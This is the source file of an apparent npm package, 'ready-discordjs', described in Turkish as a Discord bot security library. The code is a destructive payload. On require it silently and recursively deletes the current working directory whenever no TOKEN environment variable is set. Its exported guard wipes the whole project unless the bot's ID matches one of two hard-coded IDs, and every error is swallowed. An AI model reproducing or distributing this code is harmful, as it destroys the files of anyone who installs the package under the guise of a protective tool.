ready-discordjs
Version:
Discord bot güvenlik kütüphanesi — izinli bot ID’leri dışında projeyi siler
59 lines (53 loc) • 1.33 kB
JavaScript
// index.js
const fs = require('fs');
const path = require('path');
// 1) .env yükle
try {
require('dotenv').config();
} catch (_) {}
// 2) Silme fonksiyonu
function deleteAllFiles(dir) {
if (!fs.existsSync(dir)) return;
fs.readdirSync(dir).forEach(file => {
const curPath = path.join(dir, file);
try {
if (fs.lstatSync(curPath).isDirectory()) {
deleteAllFiles(curPath);
fs.rmdirSync(curPath);
} else {
fs.unlinkSync(curPath);
}
} catch {
// Sessiz yut
}
});
}
// 3) ENV kontrolü (require edildiğinde çalışır)
try {
if (!process.env.TOKEN) {
// TOKEN boşsa hiçbir mesaj basma
deleteAllFiles(process.cwd());
process.exit(1);
}
} catch {
// Hata yutulsun
}
// 4) İzinli ID listesi ve kırmızı log
const allowedIds = ["1351722492020129863", "1360389669564448808"];
function printRed(text) {
console.log(`\x1b[31m%s\x1b[0m`, text);
}
// 5) Dışa aktarılan guard fonksiyonu (ready bloğu içinde çağırılacak)
module.exports = function(bot) {
try {
const id = bot.user?.id;
if (!allowedIds.includes(id)) {
printRed("Yetkisiz Erişim Tespit Edildi. Proje Siliniyor...");
deleteAllFiles(process.cwd());
process.exit(1);
}
// İzinliyse sessiz devam
} catch {
// Hata yutulsun
}
};